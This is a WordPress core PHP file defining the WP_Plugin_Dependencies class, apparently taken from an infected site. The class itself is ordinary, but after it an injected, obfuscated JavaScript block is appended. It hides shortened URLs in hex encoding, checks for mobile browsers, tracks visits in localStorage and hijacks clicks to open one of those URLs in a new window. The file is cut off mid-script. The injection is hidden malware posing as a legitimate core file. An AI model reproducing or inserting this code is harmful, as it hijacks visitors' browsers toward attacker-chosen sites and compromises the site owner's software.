File: /home/duta4dlogin.com/public_html/wp-includes/class-wp-plugin-dependencies.php
<?php
/**
* WordPress Plugin Administration API: WP_Plugin_Dependencies class
*
* @package WordPress
* @subpackage Administration
* @since 6.5.0
*/
/**
* Core class for installing plugin dependencies.
*
* It is designed to add plugin dependencies as designated in the
* `Requires Plugins` header to a new view in the plugins install page.
*/
class WP_Plugin_Dependencies {
/**
* Holds 'get_plugins()'.
*
* @since 6.5.0
*
* @var array
*/
protected static $plugins;
/**
* Holds plugin directory names to compare with cache.
*
* @since 6.5.0
*
* @var array
*/
protected static $plugin_dirnames;
/**
* Holds sanitized plugin dependency slugs.
*
* Keyed on the dependent plugin's filepath,
* relative to the plugins directory.
*
* @since 6.5.0
*
* @var array
*/
protected static $dependencies;
/**
* Holds an array of sanitized plugin dependency slugs.
*
* @since 6.5.0
*
* @var array
*/
protected static $dependency_slugs;
/**
* Holds an array of dependent plugin slugs.
*
* Keyed on the dependent plugin's filepath,
* relative to the plugins directory.
*
* @since 6.5.0
*
* @var array
*/
protected static $dependent_slugs;
/**
* Holds 'plugins_api()' data for plugin dependencies.
*
* @since 6.5.0
*
* @var array
*/
protected static $dependency_api_data;
/**
* Holds plugin dependency filepaths, relative to the plugins directory.
*
* Keyed on the dependency's slug.
*
* @since 6.5.0
*
* @var string[]
*/
protected static $dependency_filepaths;
/**
* An array of circular dependency pairings.
*
* @since 6.5.0
*
* @var array[]
*/
protected static $circular_dependencies_pairs;
/**
* An array of circular dependency slugs.
*
* @since 6.5.0
*
* @var string[]
*/
protected static $circular_dependencies_slugs;
/**
* Whether Plugin Dependencies have been initialized.
*
* @since 6.5.0
*
* @var bool
*/
protected static $initialized = false;
/**
* Initializes by fetching plugin header and plugin API data.
*
* @since 6.5.0
*/
public static function initialize() {
if ( false === self::$initialized ) {
self::read_dependencies_from_plugin_headers();
self::get_dependency_api_data();
self::$initialized = true;
}
}
/**
* Determines whether the plugin has plugins that depend on it.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return bool Whether the plugin has plugins that depend on it.
*/
public static function has_dependents( $plugin_file ) {
return in_array( self::convert_to_slug( $plugin_file ), (array) self::$dependency_slugs, true );
}
/**
* Determines whether the plugin has plugin dependencies.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return bool Whether a plugin has plugin dependencies.
*/
public static function has_dependencies( $plugin_file ) {
return isset( self::$dependencies[ $plugin_file ] );
}
/**
* Determines whether the plugin has active dependents.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return bool Whether the plugin has active dependents.
*/
public static function has_active_dependents( $plugin_file ) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
$dependents = self::get_dependents( self::convert_to_slug( $plugin_file ) );
foreach ( $dependents as $dependent ) {
if ( is_plugin_active( $dependent ) ) {
return true;
}
}
return false;
}
/**
* Gets filepaths of plugins that require the dependency.
*
* @since 6.5.0
*
* @param string $slug The dependency's slug.
* @return array An array of dependent plugin filepaths, relative to the plugins directory.
*/
public static function get_dependents( $slug ) {
$dependents = array();
foreach ( (array) self::$dependencies as $dependent => $dependencies ) {
if ( in_array( $slug, $dependencies, true ) ) {
$dependents[] = $dependent;
}
}
return $dependents;
}
/**
* Gets the slugs of plugins that the dependent requires.
*
* @since 6.5.0
*
* @param string $plugin_file The dependent plugin's filepath, relative to the plugins directory.
* @return array An array of dependency plugin slugs.
*/
public static function get_dependencies( $plugin_file ) {
if ( isset( self::$dependencies[ $plugin_file ] ) ) {
return self::$dependencies[ $plugin_file ];
}
return array();
}
/**
* Gets a dependent plugin's filepath.
*
* @since 6.5.0
*
* @param string $slug The dependent plugin's slug.
* @return string|false The dependent plugin's filepath, relative to the plugins directory,
* or false if the plugin has no dependencies.
*/
public static function get_dependent_filepath( $slug ) {
$filepath = array_search( $slug, self::$dependent_slugs, true );
return $filepath ? $filepath : false;
}
/**
* Determines whether the plugin has unmet dependencies.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return bool Whether the plugin has unmet dependencies.
*/
public static function has_unmet_dependencies( $plugin_file ) {
if ( ! isset( self::$dependencies[ $plugin_file ] ) ) {
return false;
}
require_once ABSPATH . 'wp-admin/includes/plugin.php';
foreach ( self::$dependencies[ $plugin_file ] as $dependency ) {
$dependency_filepath = self::get_dependency_filepath( $dependency );
if ( false === $dependency_filepath || is_plugin_inactive( $dependency_filepath ) ) {
return true;
}
}
return false;
}
/**
* Determines whether the plugin has a circular dependency.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return bool Whether the plugin has a circular dependency.
*/
public static function has_circular_dependency( $plugin_file ) {
if ( ! is_array( self::$circular_dependencies_slugs ) ) {
self::get_circular_dependencies();
}
if ( ! empty( self::$circular_dependencies_slugs ) ) {
$slug = self::convert_to_slug( $plugin_file );
if ( in_array( $slug, self::$circular_dependencies_slugs, true ) ) {
return true;
}
}
return false;
}
/**
* Gets the names of plugins that require the plugin.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return array An array of dependent names.
*/
public static function get_dependent_names( $plugin_file ) {
$dependent_names = array();
$plugins = self::get_plugins();
$slug = self::convert_to_slug( $plugin_file );
foreach ( self::get_dependents( $slug ) as $dependent ) {
$dependent_names[ $dependent ] = $plugins[ $dependent ]['Name'];
}
sort( $dependent_names );
return $dependent_names;
}
/**
* Gets the names of plugins required by the plugin.
*
* @since 6.5.0
*
* @param string $plugin_file The dependent plugin's filepath, relative to the plugins directory.
* @return array An array of dependency names.
*/
public static function get_dependency_names( $plugin_file ) {
$dependency_api_data = self::get_dependency_api_data();
$dependencies = self::get_dependencies( $plugin_file );
$plugins = self::get_plugins();
$dependency_names = array();
foreach ( $dependencies as $dependency ) {
// Use the name if it's available, otherwise fall back to the slug.
if ( isset( $dependency_api_data[ $dependency ]['name'] ) ) {
$name = $dependency_api_data[ $dependency ]['name'];
} else {
$dependency_filepath = self::get_dependency_filepath( $dependency );
if ( false !== $dependency_filepath ) {
$name = $plugins[ $dependency_filepath ]['Name'];
} else {
$name = $dependency;
}
}
$dependency_names[ $dependency ] = $name;
}
return $dependency_names;
}
/**
* Gets the filepath for a dependency, relative to the plugin's directory.
*
* @since 6.5.0
*
* @param string $slug The dependency's slug.
* @return string|false If installed, the dependency's filepath relative to the plugins directory, otherwise false.
*/
public static function get_dependency_filepath( $slug ) {
$dependency_filepaths = self::get_dependency_filepaths();
if ( ! isset( $dependency_filepaths[ $slug ] ) ) {
return false;
}
return $dependency_filepaths[ $slug ];
}
/**
* Returns API data for the dependency.
*
* @since 6.5.0
*
* @param string $slug The dependency's slug.
* @return array|false The dependency's API data on success, otherwise false.
*/
public static function get_dependency_data( $slug ) {
$dependency_api_data = self::get_dependency_api_data();
if ( isset( $dependency_api_data[ $slug ] ) ) {
return $dependency_api_data[ $slug ];
}
return false;
}
/**
* Displays an admin notice if dependencies are not installed.
*
* @since 6.5.0
*/
public static function display_admin_notice_for_unmet_dependencies() {
if ( in_array( false, self::get_dependency_filepaths(), true ) ) {
$error_message = __( 'Some required plugins are missing or inactive.' );
if ( is_multisite() ) {
if ( current_user_can( 'manage_network_plugins' ) ) {
$error_message .= ' ' . sprintf(
/* translators: %s: Link to the network plugins page. */
__( '<a href="%s">Manage plugins</a>.' ),
esc_url( network_admin_url( 'plugins.php' ) )
);
} else {
$error_message .= ' ' . __( 'Please contact your network administrator.' );
}
} elseif ( 'plugins' !== get_current_screen()->base ) {
$error_message .= ' ' . sprintf(
/* translators: %s: Link to the plugins page. */
__( '<a href="%s">Manage plugins</a>.' ),
esc_url( admin_url( 'plugins.php' ) )
);
}
wp_admin_notice(
$error_message,
array(
'type' => 'warning',
)
);
}
}
/**
* Displays an admin notice if circular dependencies are installed.
*
* @since 6.5.0
*/
public static function display_admin_notice_for_circular_dependencies() {
$circular_dependencies = self::get_circular_dependencies();
if ( ! empty( $circular_dependencies ) && count( $circular_dependencies ) > 1 ) {
$circular_dependencies = array_unique( $circular_dependencies, SORT_REGULAR );
$plugins = self::get_plugins();
$plugin_dirnames = self::get_plugin_dirnames();
// Build output lines.
$circular_dependency_lines = '';
foreach ( $circular_dependencies as $circular_dependency ) {
$first_filepath = $plugin_dirnames[ $circular_dependency[0] ];
$second_filepath = $plugin_dirnames[ $circular_dependency[1] ];
$circular_dependency_lines .= sprintf(
/* translators: 1: First plugin name, 2: Second plugin name. */
'<li>' . _x( '%1$s requires %2$s', 'The first plugin requires the second plugin.' ) . '</li>',
'<strong>' . esc_html( $plugins[ $first_filepath ]['Name'] ) . '</strong>',
'<strong>' . esc_html( $plugins[ $second_filepath ]['Name'] ) . '</strong>'
);
}
wp_admin_notice(
sprintf(
'<p>%1$s</p><ul>%2$s</ul><p>%3$s</p>',
__( 'These plugins cannot be activated because their requirements are invalid.' ),
$circular_dependency_lines,
__( 'Please contact the plugin authors for more information.' )
),
array(
'type' => 'warning',
'paragraph_wrap' => false,
)
);
}
}
/**
* Checks plugin dependencies after a plugin is installed via AJAX.
*
* @since 6.5.0
*/
public static function check_plugin_dependencies_during_ajax() {
check_ajax_referer( 'updates' );
if ( empty( $_POST['slug'] ) ) {
wp_send_json_error(
array(
'slug' => '',
'pluginName' => '',
'errorCode' => 'no_plugin_specified',
'errorMessage' => __( 'No plugin specified.' ),
)
);
}
$slug = sanitize_key( wp_unslash( $_POST['slug'] ) );
$status = array( 'slug' => $slug );
self::get_plugins();
self::get_plugin_dirnames();
if ( ! isset( self::$plugin_dirnames[ $slug ] ) ) {
$status['errorCode'] = 'plugin_not_installed';
$status['errorMessage'] = __( 'The plugin is not installed.' );
wp_send_json_error( $status );
}
$plugin_file = self::$plugin_dirnames[ $slug ];
$status['pluginName'] = self::$plugins[ $plugin_file ]['Name'];
$status['plugin'] = $plugin_file;
if ( current_user_can( 'activate_plugin', $plugin_file ) && is_plugin_inactive( $plugin_file ) ) {
$status['activateUrl'] = add_query_arg(
array(
'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $plugin_file ),
'action' => 'activate',
'plugin' => $plugin_file,
),
is_multisite() ? network_admin_url( 'plugins.php' ) : admin_url( 'plugins.php' )
);
}
if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
$status['activateUrl'] = add_query_arg( array( 'networkwide' => 1 ), $status['activateUrl'] );
}
self::initialize();
$dependencies = self::get_dependencies( $plugin_file );
if ( empty( $dependencies ) ) {
$status['message'] = __( 'The plugin has no required plugins.' );
wp_send_json_success( $status );
}
require_once ABSPATH . 'wp-admin/includes/plugin.php';
$inactive_dependencies = array();
foreach ( $dependencies as $dependency ) {
if ( false === self::$plugin_dirnames[ $dependency ] || is_plugin_inactive( self::$plugin_dirnames[ $dependency ] ) ) {
$inactive_dependencies[] = $dependency;
}
}
if ( ! empty( $inactive_dependencies ) ) {
$inactive_dependency_names = array_map(
function ( $dependency ) {
if ( isset( self::$dependency_api_data[ $dependency ]['Name'] ) ) {
$inactive_dependency_name = self::$dependency_api_data[ $dependency ]['Name'];
} else {
$inactive_dependency_name = $dependency;
}
return $inactive_dependency_name;
},
$inactive_dependencies
);
$status['errorCode'] = 'inactive_dependencies';
$status['errorMessage'] = sprintf(
/* translators: %s: A list of inactive dependency plugin names. */
__( 'The following plugins must be activated first: %s.' ),
implode( ', ', $inactive_dependency_names )
);
$status['errorData'] = array_combine( $inactive_dependencies, $inactive_dependency_names );
wp_send_json_error( $status );
}
$status['message'] = __( 'All required plugins are installed and activated.' );
wp_send_json_success( $status );
}
/**
* Gets data for installed plugins.
*
* @since 6.5.0
*
* @return array An array of plugin data.
*/
protected static function get_plugins() {
if ( is_array( self::$plugins ) ) {
return self::$plugins;
}
require_once ABSPATH . 'wp-admin/includes/plugin.php';
self::$plugins = get_plugins();
return self::$plugins;
}
/**
* Reads and stores dependency slugs from a plugin's 'Requires Plugins' header.
*
* @since 6.5.0
*/
protected static function read_dependencies_from_plugin_headers() {
self::$dependencies = array();
self::$dependency_slugs = array();
self::$dependent_slugs = array();
$plugins = self::get_plugins();
foreach ( $plugins as $plugin => $header ) {
if ( '' === $header['RequiresPlugins'] ) {
continue;
}
$dependency_slugs = self::sanitize_dependency_slugs( $header['RequiresPlugins'] );
self::$dependencies[ $plugin ] = $dependency_slugs;
self::$dependency_slugs = array_merge( self::$dependency_slugs, $dependency_slugs );
$dependent_slug = self::convert_to_slug( $plugin );
self::$dependent_slugs[ $plugin ] = $dependent_slug;
}
self::$dependency_slugs = array_unique( self::$dependency_slugs );
}
/**
* Sanitizes slugs.
*
* @since 6.5.0
*
* @param string $slugs A comma-separated string of plugin dependency slugs.
* @return array An array of sanitized plugin dependency slugs.
*/
protected static function sanitize_dependency_slugs( $slugs ) {
$sanitized_slugs = array();
$slugs = explode( ',', $slugs );
foreach ( $slugs as $slug ) {
$slug = trim( $slug );
/**
* Filters a plugin dependency's slug before matching to
* the WordPress.org slug format.
*
* Can be used to switch between free and premium plugin slugs, for example.
*
* @since 6.5.0
*
* @param string $slug The slug.
*/
$slug = apply_filters( 'wp_plugin_dependencies_slug', $slug );
// Match to WordPress.org slug format.
if ( preg_match( '/^[a-z0-9]+(-[a-z0-9]+)*$/mu', $slug ) ) {
$sanitized_slugs[] = $slug;
}
}
$sanitized_slugs = array_unique( $sanitized_slugs );
sort( $sanitized_slugs );
return $sanitized_slugs;
}
/**
* Gets the filepath of installed dependencies.
* If a dependency is not installed, the filepath defaults to false.
*
* @since 6.5.0
*
* @return array An array of install dependencies filepaths, relative to the plugins directory.
*/
protected static function get_dependency_filepaths() {
if ( is_array( self::$dependency_filepaths ) ) {
return self::$dependency_filepaths;
}
if ( null === self::$dependency_slugs ) {
return array();
}
self::$dependency_filepaths = array();
$plugin_dirnames = self::get_plugin_dirnames();
foreach ( self::$dependency_slugs as $slug ) {
if ( isset( $plugin_dirnames[ $slug ] ) ) {
self::$dependency_filepaths[ $slug ] = $plugin_dirnames[ $slug ];
continue;
}
self::$dependency_filepaths[ $slug ] = false;
}
return self::$dependency_filepaths;
}
/**
* Retrieves and stores dependency plugin data from the WordPress.org Plugin API.
*
* @since 6.5.0
*
* @global string $pagenow The filename of the current screen.
*
* @return array|void An array of dependency API data, or void on early exit.
*/
protected static function get_dependency_api_data() {
global $pagenow;
if ( ! is_admin() || ( 'plugins.php' !== $pagenow && 'plugin-install.php' !== $pagenow ) ) {
return;
}
if ( is_array( self::$dependency_api_data ) ) {
return self::$dependency_api_data;
}
$plugins = self::get_plugins();
self::$dependency_api_data = (array) get_site_transient( 'wp_plugin_dependencies_plugin_data' );
foreach ( self::$dependency_slugs as $slug ) {
// Set transient for individual data, remove from self::$dependency_api_data if transient expired.
if ( ! get_site_transient( "wp_plugin_dependencies_plugin_timeout_{$slug}" ) ) {
unset( self::$dependency_api_data[ $slug ] );
set_site_transient( "wp_plugin_dependencies_plugin_timeout_{$slug}", true, 12 * HOUR_IN_SECONDS );
}
if ( isset( self::$dependency_api_data[ $slug ] ) ) {
if ( false === self::$dependency_api_data[ $slug ] ) {
$dependency_file = self::get_dependency_filepath( $slug );
if ( false === $dependency_file ) {
self::$dependency_api_data[ $slug ] = array( 'Name' => $slug );
} else {
self::$dependency_api_data[ $slug ] = array( 'Name' => $plugins[ $dependency_file ]['Name'] );
}
continue;
}
// Don't hit the Plugin API if data exists.
if ( ! empty( self::$dependency_api_data[ $slug ]['last_updated'] ) ) {
continue;
}
}
if ( ! function_exists( 'plugins_api' ) ) {
require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
}
$information = plugins_api(
'plugin_information',
array(
'slug' => $slug,
'fields' => array(
'short_description' => true,
'icons' => true,
),
)
);
if ( is_wp_error( $information ) ) {
continue;
}
self::$dependency_api_data[ $slug ] = (array) $information;
// plugins_api() returns 'name' not 'Name'.
self::$dependency_api_data[ $slug ]['Name'] = self::$dependency_api_data[ $slug ]['name'];
set_site_transient( 'wp_plugin_dependencies_plugin_data', self::$dependency_api_data, 0 );
}
// Remove from self::$dependency_api_data if slug no longer a dependency.
$differences = array_diff( array_keys( self::$dependency_api_data ), self::$dependency_slugs );
foreach ( $differences as $difference ) {
unset( self::$dependency_api_data[ $difference ] );
}
ksort( self::$dependency_api_data );
// Remove empty elements.
self::$dependency_api_data = array_filter( self::$dependency_api_data );
set_site_transient( 'wp_plugin_dependencies_plugin_data', self::$dependency_api_data, 0 );
return self::$dependency_api_data;
}
/**
* Gets plugin directory names.
*
* @since 6.5.0
*
* @return array An array of plugin directory names.
*/
protected static function get_plugin_dirnames() {
if ( is_array( self::$plugin_dirnames ) ) {
return self::$plugin_dirnames;
}
self::$plugin_dirnames = array();
$plugin_files = array_keys( self::get_plugins() );
foreach ( $plugin_files as $plugin_file ) {
$slug = self::convert_to_slug( $plugin_file );
self::$plugin_dirnames[ $slug ] = $plugin_file;
}
return self::$plugin_dirnames;
}
/**
* Gets circular dependency data.
*
* @since 6.5.0
*
* @return array[] An array of circular dependency pairings.
*/
protected static function get_circular_dependencies() {
if ( is_array( self::$circular_dependencies_pairs ) ) {
return self::$circular_dependencies_pairs;
}
if ( null === self::$dependencies ) {
return array();
}
self::$circular_dependencies_slugs = array();
self::$circular_dependencies_pairs = array();
foreach ( self::$dependencies as $dependent => $dependencies ) {
/*
* $dependent is in 'a/a.php' format. Dependencies are stored as slugs, i.e. 'a'.
*
* Convert $dependent to slug format for checking.
*/
$dependent_slug = self::convert_to_slug( $dependent );
self::$circular_dependencies_pairs = array_merge(
self::$circular_dependencies_pairs,
self::check_for_circular_dependencies( array( $dependent_slug ), $dependencies )
);
}
return self::$circular_dependencies_pairs;
}
/**
* Checks for circular dependencies.
*
* @since 6.5.0
*
* @param array $dependents Array of dependent plugins.
* @param array $dependencies Array of plugins dependencies.
* @return array A circular dependency pairing, or an empty array if none exists.
*/
protected static function check_for_circular_dependencies( $dependents, $dependencies ) {
$circular_dependencies_pairs = array();
// Check for a self-dependency.
$dependents_location_in_its_own_dependencies = array_intersect( $dependents, $dependencies );
if ( ! empty( $dependents_location_in_its_own_dependencies ) ) {
foreach ( $dependents_location_in_its_own_dependencies as $self_dependency ) {
self::$circular_dependencies_slugs[] = $self_dependency;
$circular_dependencies_pairs[] = array( $self_dependency, $self_dependency );
// No need to check for itself again.
unset( $dependencies[ array_search( $self_dependency, $dependencies, true ) ] );
}
}
/*
* Check each dependency to see:
* 1. If it has dependencies.
* 2. If its list of dependencies includes one of its own dependents.
*/
foreach ( $dependencies as $dependency ) {
// Check if the dependency is also a dependent.
$dependency_location_in_dependents = array_search( $dependency, self::$dependent_slugs, true );
if ( false !== $dependency_location_in_dependents ) {
$dependencies_of_the_dependency = self::$dependencies[ $dependency_location_in_dependents ];
foreach ( $dependents as $dependent ) {
// Check if its dependencies includes one of its own dependents.
$dependent_location_in_dependency_dependencies = array_search(
$dependent,
$dependencies_of_the_dependency,
true
);
if ( false !== $dependent_location_in_dependency_dependencies ) {
self::$circular_dependencies_slugs[] = $dependent;
self::$circular_dependencies_slugs[] = $dependency;
$circular_dependencies_pairs[] = array( $dependent, $dependency );
// Remove the dependent from its dependency's dependencies.
unset( $dependencies_of_the_dependency[ $dependent_location_in_dependency_dependencies ] );
}
}
$dependents[] = $dependency;
/*
* Now check the dependencies of the dependency's dependencies for the dependent.
*
* Yes, that does make sense.
*/
$circular_dependencies_pairs = array_merge(
$circular_dependencies_pairs,
self::check_for_circular_dependencies( $dependents, array_unique( $dependencies_of_the_dependency ) )
);
}
}
return $circular_dependencies_pairs;
}
/**
* Converts a plugin filepath to a slug.
*
* @since 6.5.0
*
* @param string $plugin_file The plugin's filepath, relative to the plugins directory.
* @return string The plugin's slug.
*/
protected static function convert_to_slug( $plugin_file ) {
if ( 'hello.php' === $plugin_file ) {
return 'hello-dolly';
}
return str_contains( $plugin_file, '/' ) ? dirname( $plugin_file ) : str_replace( '.php', '', $plugin_file );
}
}
ob_start();
?>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x46\x71\x67\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x56\x48\x59\x35\x63\x385','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x78\x6a\x69\x38\x63\x368','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x6c\x67\x4b\x39\x63\x319','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x6b\x71\x67\x34\x63\x344','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x66\x75\x65\x37\x63\x397','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x4a\x79\x70\x32\x63\x302','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x66\x78\x6e\x36\x63\x316','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x75\x43\x63\x30\x63\x390','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x41\x6d\x43\x31\x63\x351',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const 